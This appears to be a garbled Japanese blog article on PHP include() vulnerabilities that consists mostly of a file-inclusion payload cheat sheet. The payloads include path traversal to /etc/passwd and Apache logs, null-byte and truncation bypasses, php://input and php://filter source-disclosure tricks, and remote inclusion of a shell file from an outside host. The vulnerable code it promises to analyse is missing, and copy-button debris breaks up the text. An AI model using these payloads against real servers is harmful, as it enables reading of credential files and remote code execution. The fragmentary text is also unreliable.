この記事では、php ファイルがインクルードされる場合の inlcude の脆弱性を簡単に分析します。これが皆様のお役に立てば幸いです。
基本的なファイルインクルードの脆弱性:
コードは次のとおりです | コードをコピー |
) * 同じパスの下にファイルが含まれています: ?file=.htaccess * パストラバーサル: ?file=../../../../../../../../../var/lib/locate.db (このファイルは、ファイル システムを検索できるため、非常に興味深いものです) * 挿入された PHP コードを含むファイル: ?file=../../../../../../../../../var/log/apache/error.log (他の考えられる Apache ディレクトリはここで、他の方法はここで見つけることができます。考えられるすべてのログファイル、ファイルアップロード、セッションファイルなどについて考えてください。) |
制限されているローカル ファイルには以下が含まれます:
コードは次のとおりです | コードをコピー |
?file=../../../../../../../../../etc/passwd%00 (magic_quotes_gpc=off が必要) * カラムディレクトリ (Null Byte Injection): ?file=../../../../../../../../../var/www/accounts/%00 (BSD のみ、magic_quotes_gpc=off が必要、詳細はこちら) *パスの切り捨て: ?file=../../../../../../../../../etc/passwd.......... (詳しくはこちらとこちらをご覧ください) * ドットの切り捨て: ?file=../../../../../../../../../etc/passwd……………… (Windows のみ、詳細はこちら) |
コードをコピー | |
?file=[http|https|ftp]://websec.wordpress.com/shell.txt (allow_url_fopen=On およびallow_url_include=On が必要) * PHP ストリームの使用 php://input: ?file=php://input
(POST パラメーターでペイロードを指定し、urlencoding を確認してください。詳細はこちら、allow_url_include=On が必要です)
?file=php://filter/convert.base64-encode/resource=index.php |
コードをコピー | |
(ファイアウォールで保護されている場合、またはホワイトリストに登録されたドメインのみが許可されている場合は意味があります) |
コードは次のとおりです | コードをコピー |
* ?file=http://websec.wordpress.com/shell.txt? * ?file=http://websec.wordpress.com/shell.txt%23 (allow_url_fopen=On およびallow_url_include=On が必要) |
コードをコピー | |
* Man In The Middle 攻撃(マン・イン・ザ・ミドル) |
ライナーズのウェブログより。